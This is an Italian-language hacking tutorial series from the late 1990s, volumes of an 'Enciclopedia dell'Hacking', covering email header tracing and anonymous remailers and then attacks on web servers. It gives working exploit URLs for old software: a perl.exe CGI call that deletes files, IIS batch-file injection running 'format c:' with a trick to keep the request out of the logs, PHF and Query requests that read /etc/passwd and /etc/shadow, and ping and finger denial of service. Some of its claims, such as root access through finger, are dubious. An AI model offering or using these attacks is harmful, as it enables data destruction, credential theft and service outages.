L'header "Received" ci informa del percorso seguito dall'e-mail da quando e` stato generato a quando l'abbiamo ricevuto.  Normalmente ce n'e` piu` di uno e sono disposti in ordine inverso (il primo rappresenta l'ultimo computer in cui e` arrivata l'e-mail - con ogni probabilita` il nostro o quello del nostro provider - e l'ultimo Received rappresenta il computer "mittente"). Infatti, ogni volta che un server riceve una e-mail, aggiunge un "Received" in *cima* alle altre intestazioni gia` presenti.

Tornando alla nostra e-mail, vediamo percio` che l'ultimo "Received" ci informa che il computer america.com ha l'IP Address 123.45.67.89 e ha mandato questa e-mail al server posta.hackers.it usando SMTP.
Guardando l'header successivo (sopra) notiamo che poi il messaggio e` stato mandato a sua volta da posta.hackers.it (che vediamo avere un IP Address pari a 111.123.33.4) a provider.it, che e` il server destinatario (il nostro).
Infatti, se guardiamo l'header "To:" vediamo che destinatario finale e` utente@provider.it.
Il mittente, stando all'header "From:", dovrebbe essere mittente@america.com ma come sincerarsene?

Utilizzando il programma Finger possiamo sapere se l'utente "mittente" esiste su "america.com", ma utilizzando Finger non possiamo sapere se sia stato effettivamente lui a mandare il messaggio o meno.

Ricorriamo percio` ancora una volta all'analisi degli header "Received".
Il primo header, quello che ci informa da CHI e` stato inviato il messaggio, corrisponde all'ultimo header (cioe` al secondo "Received").
Da li` scopriamo che il computer mittente e` america.com con IP 123.45.67.89 e dell'IP possiamo essere sicuri... ma non possiamo fidarci di "america.com" e l'unico modo per sapere se effettivamente Host Name e IP Address coincidono e` utilizzare un programma DNS.  Bastera` inserire l'IP Address per conoscere l'Host Name ad esso corrispondente.

Questo metodo e` di estrema importanza, in quanto se da un lato non ci permette di scoprire l'autore, almeno potremo sapere quale computer e` stato usato per inviare e-mail, news, ecc. Molti provider di posta elettronica gratuita (come Hotmail e Netaddress) e non, permettono di bloccare l'invio di e-mail che provengono da un determinato "dominio" (es. provider.it), ma per farlo e` necessario conoscerne l'Host Name oppure l'IP Address.

Quando si effettua un mail-bombing usando Kaboom, Up Yours o altri programmi del genere, si lascia dunque in modo indelebile il proprio IP Address nelle e-mail. L'unico "lato buono" e` che inviando alcune migliaia di e-mail a un indirizzo, *probabilmente* il proprietario della mailbox non riuscira` a

scaricarle tutte (o non vorra` farlo) e non potra` percio` analizzarne le
intestazioni per scoprire il colpevole ;)
In ogni caso con i servizi di e-mail tramite Web, o con programmi ad hoc e`
possibile scaricare un singolo messaggio e analizzarlo, quindi e` bene
lasciare il mail-bombing ai lamers che non hanno nient'altro da fare...

Il motivo per cui programmi come Kaboom e Up Yours si dichiarano "100% non
rintracciabili" e` perche` la lista dei server SMTP inclusa in essi contiene
per lo piu` vecchi server che non registrano l'IP Address di chi si collega.
Ma tali server sono stati sfruttati, hackerati, bombardati e sovraccaricati
di e-mail in uscita, e sono stati percio` disattivati o hanno cambiato nome.
In ogni caso, tutti i piu` nuovi server SMTP registrano (purtroppo) l'IP e
in alcuni casi sono addirittura in grado di riconoscere un tentativo di
FakeMail e rispondere "sfottendo"... :-}

Supponiamo ora che anziche` utilizzare e-mail false vogliamo scriverne una
anonima per rispondere a qualcuno senza essere rintracciati, o magari per
partecipare a un Newsgroup in maniera del tutto anonima.

Esiste un servizio, quello dei cosiddetti "remailer", per inviare posta
completamente anonima (senza mittente e senza alcuna traccia di IP Address o
altro).

NOTA: Per una lista completa con tutte le informazioni come: velocita`,
caratteristiche e affidabilita` basta cercare le parole "anonymous remailer"
con un qualsiasi motore di ricerca sul Web.

Usarli nella loro forma piu` semplice (senza criptazione e senza re-routing
multipli) e` facile, basta inviare una normalissima e-mail (con qualsiasi
programma di posta elettronica) all'indirizzo e-mail di un remailer.
Ad esempio, remailer@replay.com (oppure remailer@huge.cajones.com o ancora
remailer@cypherpunks.ca) e, PRIMA del messaggio inserire una riga vuota, una
coppia di due punti e altre informazioni, come segue:

::
Request-Remailing-To: destinatario@email.com

Questa e` una prova....

Dunque l'indirizzo del destinatario NON va inserito come destinatario.
Come destinatario useremo l'indirizzo del remailer, mentre quello del vero
destinatario andra` scritto a fianco a "Request-Remailing-To".

Questo e` quanto per le e-mail anonime. Come fare, invece, per inviare
delle news anonime? Seguendo lo stesso procedimento, ma usando come

destinatario un "gateway" (passaggio) mail-news. A cosa serve?
Inviando un messaggio al gateway, questo lo inviera` a sua volta alle news.
Volendo mandare un messaggio al Newsgroup alt.hackers bastera` sostituire i punti con dei trattini e aggiungere l'indirizzo del gateway (ad esempio cs.utexas.edu) quindi il risultato sara` alt-hackers@cs.utexas.edu al quale manderemo il nostro messaggio tramite remailer.

Aggiungiamo ora alcune informazioni per completare il capitolo.

Sul Web esistono vari siti per FakeMail che non registrano IP Address. Uno molto veloce e` (al momento in cui si scrive) MailMan al seguente indirizzo:
http://www.nettex.com/~thecap/

Per quanto riguarda la posta anonima tramite remailer, ne esistono anche sul Web. Per chi preferisse le Form ai programmi di posta elettronica bastera` cercare, come detto prima, dei remailer usando i motori di ricerca.
Un indirizzo tra i piu` affidabili: http://www.replay.com/remailer/

NOTA: questi siti sono attivi non per arrecare danni, ma per fornire un servizio a quanti vogliono preservare la propria privacy elettronica.
Abusandone potreste mettere voi nei guai, o causare la chiusura del servizio.
Inoltre molti remailer possono negarvi l'accesso al servizio in caso di proteste da parte di terzi. In altre parole, usate il cervello...

VAIL AL VOLUME 4

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 4

INTRODUZIONE ALLE TECNICHE DI BASE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Le tecniche che inizieremo a vedere da questo capitolo in poi sono quelle
di base per poter comprendere quelle piu` complesse.
Inoltre nella spiegazione di ciascuna tecnica ne approfittero` per spiegare
altri argomenti che normalmente in qualsiasi guida sull'hacking, in italiano
o in inglese, sono lasciati alla... immaginazione del lettore.

Dunque. In questo volume vedremo delle semplici tecniche relative alla
sicurezza (da un punto di vista hacker) dei server Web.

Credo (e spero) che sappiate gia` usare un browser e i vari programmi... in
caso contrario vi consiglio vivamente di lasciar perdere l'hacking e iniziare
con qualcosa di piu` semplice, come accendere e spegnere il computer...

TECNICHE DI BASE: I WEB SERVER - PARTE 1
~~~~~~

Molti metodi usati in passato per hackerare un sito Web si basavano su dei
problemi di sicurezza pre-esistenti causati dalla scarsa competenza dei
Webmaster e dei SysAdmin. Ad esempio, un classico errore era lasciare
programmi che hanno funzione di interpreti di comandi, come ad esempio il
Perl (file perl.exe) accessibili a chiunque tramite Internet.
Dal momento che tali programmi accettano parametri, se avessimo voluto
cancellare l'intero contenuto di una directory avremmo potuto eseguire il
comando di eliminazione semplicemente collegandoci all'URL (indirizzo Web).

Nel nostro esempio, dal momento che il linguaggio in questione e` il Perl,
il comando per eliminare la directory e` "unlink <*>" (senza gli apici).
Per "dire" al Perl di eseguire un comando va usata l'opzione "-e". Il
comando completo sara` quindi: perl.exe -e unlink <*>

Ora supponiamo che il povero Webmaster :) abbia lasciato perl.exe nella
directory cgi-bin (dove si trovano quasi tutti i programmi usati su un sito).
Non dovremo fare altro che collegarci dal nostro browser a questo indirizzo:

http://www.nomesito.com/cgi-bin/perl.exe?-e+unlink+%3C*%3E

Ecco cosa stiamo facendo: http://www.nomesito.com/cgi-bin/perl.exe non e` altro che l'indirizzo del programma da eseguire; il punto interrogativo ci consente di passare dei comandi qualsiasi al programma (probabilmente lo avrete gia` visto quando vi collegate ai motori di ricerca); infine, come gia` detto prima, "-e" dice al Perl di eseguire il comando che segue.
I segni + non sono altro che gli spazi. Poiche` negli URL non si usano spazi vanno usati i + al loro posto.

Ora troviamo la parola unlink, un altro + (spazio) e poi %3C*%3E ...cos'e`?
Se guardate piu` sopra, vedrete che il comando da eseguire era unlink <*>
Non abbiamo fatto altro che sostituire < con il suo codice ASCII in notazione esadecimale (3C preceduto da % per indicare che e` un codice ASCII) e lo stesso abbiamo fatto per > mentre l'asterisco e` rimasto uguale.
Ovviamente non dovrete imparare i codici a memoria, vi bastera` trovare una tabella ASCII come quelle che si trovano sui libri di informatica e di programmazione, o in alcune piccole utility. Se non l'avete, prima di proseguire e` assolutamente necessario che ve la procuriate.

Dicevamo... perche` questi cambiamenti?
Perche` esistono delle regole per "scrivere" un URL: caratteri come / e \ (detti slash e backslash), le parentesi e le virgolette, gli spazi e quasi tutta la punteggiatura in genere (ad esclusione di + - e pochi altri simboli) vanno *sempre* sostituiti con il relativo codice ASCII. Tutti gli altri caratteri possono rimanere invariati.
Dunque quando dovremo scrivere uno dei simboli sopra descritti non bisognera` fare altro che cercarne il codice in esadecimale e scriverlo al suo posto, mettendo un simbolo di percentuale prima del codice.
Tali codici sono detti di "escape".

In modo analogo, un server Web come il Microsoft IIS per Windows (versioni dalla 1.x alla 2.0b) oppure il server di Windows NT 3.x puo` essere "forzato" ad eseguire dei comandi arbitrari, come ad esempio:

http://www.nomesito.com/cgi-bin/scrivimi.bat?&dir+c:\+%5Cs

In questo caso scrivimi.bat e` un file batch (.bat).
E` molto facile da scoprire se un server utilizzi tali file, in quanto basta dare un'occhiata alle pagine Web di un sito (e magari al loro listato) per scoprire se vi sono riferimenti ad essi.
Ovviamente il trucco funziona solo con i server sopra elencati (per Windows) e con pochissimi altri. Inoltre le nuove versioni hanno corretto questo problema.

Il "bug" (errore) in questo caso risiede nella gestione dei files batch.
Come vediamo, aggiungendo ?& al nome del file e poi scrivendo i comandi da eseguire, il server credera` di stare eseguendo ancora il file batch e in realta` fara` ben altro... nel nostro caso, il comando codificato e` il seguente: dir c:\ /s (dove / e` stato sostituito con il suo codice, %5C).
Avremo quindi come risultato di tale comando l'elenco completo di *tutte* le directory e i file presenti sul server (utile per sapere dove mettere le mani se cerchiamo qualcosa in particolare o vogliamo modificare qualcosa).

Quelle descritte non sono vere e proprie tecniche hacker: sono degli exploit per poter sfruttare i problemi di sicurezza conosciuti a nostro vantaggio.
Le trattiamo anche perche` non si puo` imparare qualcosa di complesso senza conoscere le basi e i ragionamenti che sono dietro un exploit.

Tali exploit sono ampiamente discussi e spiegati (in inglese) su Internet e a volerli spiegare tutti non basterebbero 100 volumi di questa enciclopedia.
Ecco perche` vi invito fin d'ora ad "avventurarvi" sulla Rete, a cercare e a provare... e soprattutto a imparare l'inglese (se non lo conoscete gia`), perche` la stragrande maggioranza delle documentazioni e dei siti che possono insegnarvi qualcosa (come il mitico Silicon Toad... http://www.silitoad.org oppure come Hackers Underground... http://www.underground.org) e`, che lo vogliate o meno, in inglese. In una parola: LEGGETE.

Comunque l'obiettivo di questi volumi non e` certo insegnarvi dei trucchi.
Possono essere molto utili, talvolta indispensabili. Ma l'hacking e` ben altro, e si avvale dell'uso di tecniche raffinate che l'hacker sceglie in base alle proprie esigenze e in base al suo personale modo di hackerare.

Se noteremo abbastanza interesse da parte vostra, l'autore (cioe` io, Lord Shinva) continuero` a scrivere questi volumi e presto conto di poter iniziare con l'hacking propriamente detto. Se invece li considerate una perdita di tempo, ne interromperemo la pubblicazione.

Per chi voglia comunicarci la propria opinione in merito, l'indirizzo di e-mail e` Lord.Shinva@usa.net (consigli, critiche, richieste di argomenti da trattare e proposte di collaborazione sono bene accetti).

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 5

TECNICHE DI BASE: I WEB SERVER - PARTE 2
~~~~~~
Come abbiamo visto, molti server Web per Windows (come Microsoft IIS oppure Windows NT server) possono essere utilizzati per eseguire comandi arbitrari utilizzando lo schema seguente:

  [URL].../nomescript.bat?&comando_1+comando_2+...+comando_N

E` bene notare che i server Web registrano in uno o piu` file (detti "log") tutte le operazioni effettuate, e quindi nel caso utilizzassimo l'hack sopra descritto esso verrebbe senza dubbio registrato, insieme al nostro IP Address e ad altre informazioni.

Per evitarlo, possiamo fare due cose. Una possibilita` e` aggiungere alla fine dell'URL contenente i nostri comandi, il comando "time" oppure "date", in questo modo:

  http://www.sito.com/cgi-bin/prova.bat?&echo+S+%7C+format+c%3A+%2Fu+time

Procediamo ora con la spiegazione di questo URL. Il comando eseguito e`:

  echo S | format c: /u

seguito dal comando "time", che vedremo dopo. Il comando "format c:" come sappiamo serve a formattare un disco, in questo caso l'hard disk "C", mentre "/u" indica a "format" di procedere con una formattazione incondizionata, cioe` senza salvare i dati presenti sul disco... ma "format", una volta eseguito, chiede all'utente di premere un tasto: S (si) oppure N (no), e non fara` nient'altro fino a che non avra` uno dei due input.
Per ovviare all'inconveniente, non potendo noi digitare "S" sulla tastiera del computer che vogliamo hackerare, utilizziamo "echo S" seguito da "|".
In pratica "|" (detto "pipe") serve ad inviare l'output del comando "echo" (il carattere "S") al comando successivo (format), simulando la pressione del tasto. Abbiamo cosi` risolto il problema.

Una funzione non documentata del comando format e` l'opzione "/autotest".
~~~~~~

Tale opzione corrisponde in pratica alla riga di comando sopra descritta,
e quindi potremo (solo nel caso di format) fare a meno di echo, pipe e "/u"
scrivendo "format c: /autotest" (NON scrivetelo sul vostro computer).
L'hard disk verra` formattato senza chiedere alcunche` all'utente.

Ma ora torniamo al comando time (oppure date). Perche` l'abbiamo aggiunto?

I server registrano le operazioni nei log solo DOPO che tali operazioni siano
state effettivamente eseguite. Ad esempio, quando un URL viene "chiamato" e
abbiamo ricevuto il contenuto della pagina ad esso associata.
Per impedire al server di terminare l'operazione (e quindi di registrare
l'URL hackerato e il nostro IP nel file di log) usiamo quindi time o date.
Come sappiamo questi due comandi non fanno altro che cambiare ora o data, e
a tale scopo chiedono all'utente il nuovo valore (l'orario, nel caso di time)
all'utente. Ma dal momento che il server non sa rispondere ai comandi ;)
la loro esecuzione non potra` essere completata, il log non verra` scritto
e noi avremo ottenuto quello che volevamo... segretezza :)

Vi ho detto pero` che esistono DUE modi. Ecco il secondo: esiste su Internet
un server molto simile all'Anonimizzatore di cui vi ho parlato in un volume
precedente a questo. Si tratta di iPROXY (http://www.iproxy.com), un server
che offre gratuitamente la possibilita` di collegarsi anonimamente ai siti,
digitando l'URL desiderato (vi dice niente?).
Non e` ovviamente una tecnica, ma un servizio pensato per ben altri scopi
che per l'hacking... ma meglio uno in piu` che in meno ^_^

Tornando ai problemi di sicurezza...

Un altro bug di IIS e` il seguente: aggiungendo uno (o una coppia) di punti
alla fine di un file script, anziche` essere eseguito, il contenuto del file
verra` visualizzato sullo schermo del vostro browser. Un altro bug simile
permette di visualizzare file "segreti" (come pagine protette da password,
documenti che non dovrebbero poter essere visualizzati in quanto "interni"
e qualsiasi altro file presente sull'hard disk del server), in questo modo:

```
  http://www.sito.com/..\..\..\..\qui_va_il_percorso\nome_del_file
```

Esistono molti altri bugs, per i quali vi rimando (nel caso di Windows) ai
siti sulla sicurezza di Windows.

Passiamo ora agli altri Web server.

Restando in tema di Windows NT/95 un altro server che ha il problema degli
script in cgi-bin e` O'Reilly WebSite (versioni fino alla 1.1b).

Per leggere invece un file log (WebSTAR.LOG) del server WebStar per Macintosh
basta utilizzare il codice escape al posto del punto (nel nome del file):

http://www.sito.com/WebSTAR%20LOG

Tenete presente che i bug fin qui descritti sono applicabili solo ai relativi
software. Non cercate, pertanto, di utilizzare "time" con un server Unix o
roba del genere.

TECNICHE DI BASE: I WEB SERVER UNIX
~~~~~~

Il Web server standard di Unix, Linux, ecc. e` httpd della NCSA.

Tutte le versioni fino alla 1.4 hanno un bug molto frequente nel software
server (lo ritroveremo ad esempio nei server SMTP, vecchi e nuovi).
Si tratta di un problema detto "buffer overflow", che consiste nel riempire
tutta l'area di memoria riservata dal server ai dati, e fargli eseguire un
programma (molto piccolo, e preferibilmente in assembler) scritto da noi.
Essendo una tecnica molto complessa la vedremo piu` avanti, poiche` ci sara`
piu` utile con SMTP (per avere accesso root) che con il Web, in quanto nei
nuovi server questo problema sembra essere stato corretto.
Per la cronaca, lo stesso bug esiste anche nel server Apache (fino alla
versione 1.02).

Esistono poi degli hack (un "hack" e` una tecnica di hacking) che hanno
letteralmente fatto storia.
Relativamente vecchio ma ancora molto utilizzato e` quello del PHF, usato
per hackerare le pagine Web di CIA, FBI e moltissimi altri, piu` o meno
famosi. Prima di spiegare questa tecnica e` bene precisare una cosa: se
state leggendo questi volumi per imparare, non avrete certamente la capacita`
di rendervi "invisibili" agli occhi di un SysAdmin... quindi attenti a non
utilizzare queste tecniche.
Molti siti (come ad esempio unina.it, l'Universita` di Napoli) hanno software
in grado di riconoscere gli hack piu` conosciuti (tra cui PHF e Query).
Potrebbero far sospendere il vostro account Internet, se non denunciarvi...

Ma prima dobbiamo fare un breve corso sul sistema di password di Unix.

TECNICHE DI BASE: UNIX E LE PASSWORD
~~~~~~

Riflettiamo un attimo: qual'e` la parte piu` interessante di un sistema
Unix (o Linux) ? Certamente il file delle password, nel quale si trova, in
forma criptata, anche la password di root (oltre a quelle di tutti gli altri

utenti).

Una classica entry (riga di testo contentente dati) di un file password e`
di questo tipo:

username:4cFJg5aMkC9f:1000:20:nome e cognome:/home/utente:/bin/ksh

I campi sono delimitati dai due punti, e sono:
- Nome utente (username)
- Password criptata
- Numero utente
- Numero gruppo
- GECOS (nome e cognome, oppure altre informazioni sull'utente)
- Directory utente (dalla quale in genere non potete uscire)
- Shell utilizzabile dall'utente (in genere limitata se non siete root)

nel caso in cui uno o piu` campi siano disabilitati, li troverete vuoti (i
due punti saranno vicini) oppure troverete uno slash (/) al loro posto.
Nel caso della shell, in alcuni casi troverete /bin/false che, in pratica,
corrisponde allo slash (e quindi a nessuna shell).

Ma dove si trova il file delle password?

La directory standard e` /etc e il file si chiama passwd, quindi il percorso
completo sarebbe /etc/passwd ma la maggior parte dei nuovi sistemi ha un
meccanismo denominato "shadowing" delle password. Per evitare di prelevare
il file contentente le password, infatti, viene creato un secondo file, il
cui nome in genere e` shadow (in molti casi si trovera` nella directory /etc)
che contiene, in forma un po` diversa da quella appena vista, tutti i campi,
comprese quindi le password (criptate), e NON e` accessibile agli utenti.
Il file passwd, invece, conterra` tutti i soliti campi, ma al posto della
password conterra` un simbolo, detto Token (che in genere e` un asterisco).

Perche` questo? Le password sono criptate, ma e` ancora possibile risalire
ad esse, crackarle (da "crack"). Non si possono decriptare, ma si puo` usare
una lista di parole probabili (detta dizionario), criptarle una per una e
confrontare il risultato con le password criptate in passwd. Se coincidono,
abbiamo trovato una password.
Ovviamente per fare tutto cio` si usano dei programmi appositi. I piu` usati
(e i migliori) sono CrackerJack e HellFire Cracker. Praticamente tutti i
siti Web contenenti materiale per hackers ne hanno una copia.

Tornando alle password, se un sistema usa lo shadowing, per risalire al vero
file delle password, in base al sistema operativo usato potremo trovarlo in
directory differenti, come mostrato in questa tabella tratta dalla HackFAQ:

Sistema Unix	Path (percorso) del file	Token
AIX 3 (caso 1)	/etc/security/passwd	!
AIX 3 (caso 2)	/tcb/auth/files/p/pippo	#
A/UX 3.0s	/tcb/files/auth/?/	*
BSD4.3-Reno	/etc/master.passwd	*
ConvexOS 10	/etc/shadpw	*
ConvexOS 11	/etc/shadow	*
DG/UX	/etc/tcb/aa/user/	*
EP/IX	/etc/shadow	x
HP-UX	/.secure/etc/passwd	*
IRIX 5	/etc/shadow	x
Linux 1.1	/etc/shadow	*
OSF/1	/etc/passwd[.dir|.pag]	*
SCO Unix #.2.x	/tcb/auth/files/p/pippo	*
SunOS4.1+c2	/etc/security/passwd.adjunct	##username
SunOS 5.0	/etc/shadow	*
System V Release 4.0	/etc/shadow	x
System V Release 4.2	/etc/security/* database	*
Ultrix 4	/etc/auth[.dir|.pag]	*
UNICOS	/etc/udb	*

Ora che sappiamo cosa cercare (e dove), passiamo alle tecniche da impiegare.

Un file /etc/passwd standard puo` spesso essere prelevato tranquillamente
con FTP oppure collegandosi ad un indirizzo come:

http://www.sito.com/ftp/etc/passwd

oppure...

ftp://ftp.sito.com/etc/passwd

tenendo pero` presente che in genere i SysAdmin leggono i log... scaricando
il loro file delle password non li farete certo felici.
Quindi, non appena riuscirete a procurarvi username e password di un account
(che non sia ne` vostro ne` di amici, se ci tenete alle amicizie...) e`
consigliabile utilizzare quello anziche` il vostro account.

Una volta prelevato /etc/passwd diamogli un'occhiata: se il secondo campo di
ciascun rigo (o di almeno un paio di essi) contiene una password criptata,
possiamo essere quasi sicuri che non esista nessuno shadowing.
Dico *quasi* perche` alcuni grossi server stranieri hanno recentemente usato
dei file passwd fittizi. Crackandoli e provando a collegarsi con le password

trovate, non si riesce a collegarsi... perche` sono tutte false e servono a
depistare l'hacker inesperto. E` raro che accada, ma e` da tener presente.

Nel caso dovessimo trovare un Token al posto della password, ci affideremo
alle tecniche di cui parlavamo in principio.

Il primo hack che descriveremo e` quello del PHF.

PHF e` una piccola utility di "agenda telefonica" presente in Unix, Linux,
ecc. Anch'essa puo` essere usata in modo sovversivo, per far eseguire dei
comandi qualsiasi a un server.

Basta collegarsi a un URL del genere:

  http://www.sito.com/cgi-bin/phf?Jserver=x&Qalias=x%0A/bin/cat%20/etc/passwd

oppure piu` semplicemente...

  http://www.sito.com/cgi-bin/phf?Qalias=x%0A/bin/cat%20/etc/passwd

usando /etc/shadow (o altri, vedi tabella sopra) al posto di /etc/passwd
per "prelevare" il vero file delle password.

Quello che avviene "chiamando" questi URL e` che il file PHF viene eseguito
(vengono passati parametri fittizi, come Jserver e Qalias) e poi si simula
un invio a capo (codice %0A) per inviare un nuovo comando, che nel nostro
caso e` /bin/cat /etc/passwd (%20 equivale allo spazio, ma si puo` usare
anche "+" al suo posto), ma puo` essere *qualsiasi* comando si voglia.

In quel momento, infatti, abbiamo accesso root! =)
E come tali, possiamo eseguire comandi, creare, modificare, distruggere...

NOTA: il file /bin/cat equivale al comando "type" del DOS. Serve quindi a
visualizzare un file, e occasionalmente anche a crearne uno o ad aggiungere
righe di testo ad uno pre-esistente. Supponiamo di voler inserire una riga
nel file "prova": in tal caso, useremo "cat" unitamente ai simboli di
ridirezione > e >> e | (pipe), proprio come nel DOS.
Alcuni esempi:

```
   /bin/cat prova > test      crea un file col nome test e vi scrive "prova"
   /bin/cat prova >> test     aggiunge la parola "prova" al file "test"
```

Ovviamente per crackare un file shadow che, come abbiamo detto, usa un
formato differente, dovremo prima effettuare il de-shadowing (trasformare

shadow in formato passwd standard) e poi effettuare il cracking con i
normali CrackerJack e simili.
Esistono su Internet programmi appositi per tale operazione.

Una tecnica molto simile a quella del PHF e` quella del Query:

http://www.sito.com/cgi-bin/query?%0A/bin/cat%20/etc/passwd

che funziona in modo analogo a quello gia` visto del PHF.
Dopo il "?" andrebbe inserito qualcosa da richiedere al server, ma poiche`
a noi interessa solo eseguire comandi, ci "limiteremo" ancora una volta a
scriverli dopo il codice %0A.

Un'ultima cosa che puo` tornarci utile e` che molti server hanno un file
chiamato test-cgi nella directory cgi-bin. Se tale file contiene il comando:

echo QUERY_STRING = $QUERY_STRING

potremo, ad esempio, dare un'occhiata alla directory di root ("/*") con il
seguente URL:

http://www.sito.com/cgi-bin/test-cgi?/*

o della directory corrente usando solo "*" anziche` "/*", e cosi` via.

POSTILLA
~~~~~~~~
Che lo si creda o meno, nonostante queste tecniche siano abbastanza vecchie e
utilizzatissime, sono parecchi i server (anche quelli "importanti") che sono
vulnerabili. Spesso inoltre non registrano neppure l'IP Address dell'hacker.
Ovviamente se il server vi risponde qualcosa come "il tuo tentativo di
hackerare questo server sara` comunicato a chi di dovere" (in inglese) state
pur certi che vi troverete nei guai. Quindi aspettate di diventare hackers
prima di mettere in pratica... conoscere le tecniche non basta. Se credete
di essere gia` diventati hackers conoscendole, mi dispiace deludervi... vi
potrete solo mettere nei guai e farvi etichettare per sempre come patetici
"lamer" (termine dispregiativo del gergo hacker per indicare un hacker nato
perdente).

Ancora alcune lezioni sulle tecniche di base per gli altri tipi di servizi
(FTP, SMTP, IRC, ecc.), e potremo iniziare con l'hacking. Sara` necessario
conoscerle bene perche` non torneremo piu` su tali argomenti, a meno che non
sia necessario aggiungere qualcosa.
~~~~~~~~

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 6

TECNICHE DI BASE: MISCELLANEA
~~~~~~
Nel volume precedente abbiamo visto come sfruttare alcuni problemi di sicurezza del software server.

Dal momento che e` necessario conoscere tipo e versione del software e sistema operativo, dobbiamo sapere come avere tali informazioni.

Ancora una volta ci torna comodo utilizzare Telnet. Bastera` infatti collegarsi alla porta del servizio interessato per ottenere quasi sempre informazioni preziose.

Ad esempio, se ci colleghiamo alla porta HTTP, FTP o SMTP, il server ci "salutera`" indicandoci tipo e versione del software, data locale e altre utili informazioni.
Altre ancora possiamo ottenerle tramite il programma "finger", che serve a mostrare informazioni su un dato utente di un dato sistema.
Alcuni siti inoltre ci risparmiano la fatica di cercare: infatti, i Webmaster dopo aver acquistato un "potente" software server, scrivono orgogliosi sulle loro pagine "questo sito utilizza il software xxxxx versione yyyyy"...

Un'ulteriore nota sulla porta HTTP: i vecchi server (versioni fino alla 1.3) di httpd (per Unix e Linux) possono essere crashati richiedento un URL con un formato sbagliato. Esistono in giro diversi exploit sull'argomento, e pertanto vi rimando alle mailing list sulla sicurezza su Internet.

NOTA: da ora in poi quando parlero` di Unix mi riferiro` anche a Linux, AIX, Solaris, ecc. a meno che sia diversamente specificato.

Prima di procedere vorrei farvi notare che non e` necessario scrivere in tempo reale i vostri comandi in Telnet (anche perche` correte il rischio di sbagliare e non poter cancellare). Moltissimi client hanno le funzioni Copy e Paste (Copia e Incolla), che potete usare unitamente a un programma di videoscrittura (come il Block Notes di Windows) per velocizzare le operazioni (e ridurre il numero di cifre sulla vostra bolletta telefonica).
~~~~~~

Vi bastera` infatti scrivere tutti i comandi nel block notes, usare Copy e
poi, una volta in Telnet, usare Paste. Un consiglio: non usate testi troppo
lunghi, perche` alcuni server potrebbero non essere abbastanza veloci per
riceverli.

Altri programmi vulnerabili a un attacco tramite Telnet sono Finger, Ping,
Gopher, Pine e altri; in pratica, per quasi tutti quelli esistenti esiste
un hack su misura.

Ovviamente per capire di cosa sto parlando vi serviranno i programmi in
questione. Iniziamo da finger.

Usando @ oppure 0 (o uno degli username standard come root, bin, ftp, system,
demo, guest, ecc.) nell'effettuare una richiesta tramite finger e` possibile
ottenere (specie con i vecchi server) svariate informazioni.

Ma supponiamo ora di voler crashare il server finger. Per quale motivo?
Siamo tutti hackers.malicious o crackers? ;) No, il motivo e` un altro:
se il server finger (per Unix) dovesse crashare, noi avremmo accesso root.
Perche`? Se il server crasha, non avremo piu` un "interprete" dall'altra
parte che "filtra" i nostri comandi e ci da informazioni quando scriviamo
finger... ma avremo una specie di connessione diretta alla shell dei comandi
con il livello d'accesso massimo (root, per l'appunto).

Ecco come si fa: (non sbavate, siamo ancora al principio ;)
utilizzando Telnet, il cui scopo e` fornire una connessione e lasciarla nelle
nostre mani, ci colleghiamo alla porta 79 (finger) del server desiderato
(assicuriamoci pero` prima che il sistema operativo sia effettivamente Unix e
che abbia il server finger attivato).
Ora, quello che fa un normale client finger e` semplicemente inviare il
comando "finger nomeutente" e visualizzare le informazioni ricevute.
Nient'altro. E` uno spreco... tanto potere buttato al vento =)
E pensare che finger ha anche accesso a tutte le directory degli utenti, e
a saperlo controllare si potrebbero anche "ritoccare" i vari files...

Ma noi, che abbiamo ben altre intenzioni (buone... lo dico per il NOPT, il
Nucleo Operativo di Polizia Telematica ;) possiamo fare di meglio.

Scrivendo ///* seguito dalla combinazione Ctrl-S accederete a root e
paralizzerete il server (Ctrl-S e` un codice di controllo detto "freeze",
cioe` "congela"). A questo punto la connessione e` in mano vostra.

Il client finger puo` essere usato per un attacco di tipo D.O.S. (Denial Of
Service, cioe` negare l'accesso a un servizio disattivandolo).
Se usiamo finger per collegarci a un server troppe volte (lasciando "aperta"

ogni connessione) dopo un po` il server rifiutera` a chiunque altro di
collegarsi, e l'intero server del sito verra` rallentato; in alcuni casi
potrebbe addirittura crashare.
Per fare una cosa del genere bisognerebbe chiamare decine di volte lo stesso
programma... una soluzione migliore consiste nel programmare da se` una
utility che effettui molte connessioni alla stessa porta dello stesso server.

Se il vostro client lo consente, potete nascondere il vostro IP Address
effettuando un "bounce" (rimbalzo). In pratica si tratta di richiedere a
un server di fare la stessa richiesta a un altro server, per far risultare
come "richiedente" il suo IP Address anziche` il nostro.
Il comando e` nel formato: finger @sito.com@altrosito.com

Non preoccupatevi se non avete capito tutto: vi torneranno utili quando
dovrete studiare un attacco e conoscerete meglio l'Arte.

Nota su finger: alcuni siti (mi sembra di ricordare quello della Microsoft)
disabilitano finger per evitare problemi... in alcuni casi pero` si limitano
a disabilitarlo, NON a cancellarlo dalla directory del server.
Potrete quindi accedervi usando questo URL:

http://www.sito.com/cgi-bin/finger

e per passare i parametri aggiungete "?" e i vostri comandi con il metodo
della codifica degli URL descritta nei volumi precedenti.

Personalmente non ho provato la tecnica del ///*^S su server non-Unix (come
Windows NT e 95) in quanto essa e` basata sulla struttura di Unix. Comunque
potrebbe essere interessante provare; da cosa nasce cosa...

Passiamo ora a Ping.

Combinato a Finger, Ping e` eccellente per effettuare un attacco D.O.S. in
quanto e` utilizzato praticamente ovunque, e non correte il rischio di non
poterlo utilizzare come accade in alcuni casi con Finger.

Per chi non lo conosce, diciamo che Ping e` un programma per controllare la
presenza di un sito su Internet e valutare la sua velocita` di collegamento.

Il funzionamento e` molto simile: aprire molte connessioni a un server, fino
a che questo collassera` per il troppo lavoro richiesto alla CPU.
Se avete la possibilita` di scegliere tra Ping e Ping-f vi consiglio di
scegliere quest'ultimo, in quanto e` estremamente piu` veloce.

Linux e` inoltre vulnerabile a un particolare attacco: da un computer che usi

Windows 95 o NT si puo` usare questo comando:

ping -l 65510 sito.com

dove sito.com e` un sito che usa Linux (versioni fino alla 2.0.20 esclusa).
